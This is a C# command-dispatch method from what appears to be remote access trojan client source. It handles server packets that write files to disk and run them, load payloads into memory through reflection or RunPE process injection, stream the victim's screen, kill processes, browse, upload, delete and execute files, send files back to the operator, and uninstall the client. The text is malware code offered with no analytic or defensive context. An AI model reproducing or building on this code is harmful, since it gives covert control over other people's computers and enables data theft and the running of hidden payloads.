public static void Read(object Data) { try { MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes((byte[])Data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "sendMessage": { MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString); } break; case "Ping": { Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString); } break; case "sendFile": { Received(); string FullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; unpack_msgpack.ForcePathObject("File").SaveBytesToFile(FullPath); Process.Start(FullPath); if (unpack_msgpack.ForcePathObject("Update").AsString == "true") { Uninstall(); } } break; case "sendMemory": { Received(); byte[] Buffer = unpack_msgpack.ForcePathObject("File").GetAsBytes(); string Injection = unpack_msgpack.ForcePathObject("Inject").AsString; byte[] Plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes(); object[] parameters = new object[] { Buffer, Injection, Plugin }; Thread thread = null; if (Injection.Length == 0) { thread = new Thread(new ParameterizedThreadStart(SendToMemory.Reflection)); } else { thread = new Thread(new ParameterizedThreadStart(SendToMemory.RunPE)); } thread.Start(parameters); } break; case "close": { try { ClientSocket.Client.Shutdown(SocketShutdown.Both); } catch { } Environment.Exit(0); } break; case "uninstall": { Uninstall(); } break; case "remoteDesktop": { switch (unpack_msgpack.ForcePathObject("Option").AsString) { case "false": { RemoteDesktop.RemoteDesktop_Status = false; } break; case "true": { RemoteDesktop.RemoteDesktop_Status = true; RemoteDesktop.CaptureAndSend(); } break; } } break; case "processManager": { switch (unpack_msgpack.ForcePathObject("Option").AsString) { case "List": { ProcessManager.ProcessList(); } break; case "Kill": { ProcessManager.ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString)); } break; } } break; case "fileManager": { switch (unpack_msgpack.ForcePathObject("Command").AsString) { case "getDrivers": { FileManager fileManager = new FileManager(); fileManager.GetDrivers(); } break; case "getPath": { FileManager fileManager = new FileManager(); fileManager.GetPath(unpack_msgpack.ForcePathObject("Path").AsString); } break; case "uploadFile": { string FullPath = unpack_msgpack.ForcePathObject("Name").AsString; unpack_msgpack.ForcePathObject("File").SaveBytesToFile(FullPath); } break; case "deleteFile": { string FullPath = unpack_msgpack.ForcePathObject("File").AsString; File.Delete(FullPath); } break; case "execute": { string FullPath = unpack_msgpack.ForcePathObject("File").AsString; Process.Start(FullPath); } break; } } break; case "socketDownload": { FileManager fileManager = new FileManager(); string file = unpack_msgpack.ForcePathObject("File").AsString; string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; fileManager.DownnloadFile(file, dwid); } break; } } catch { } }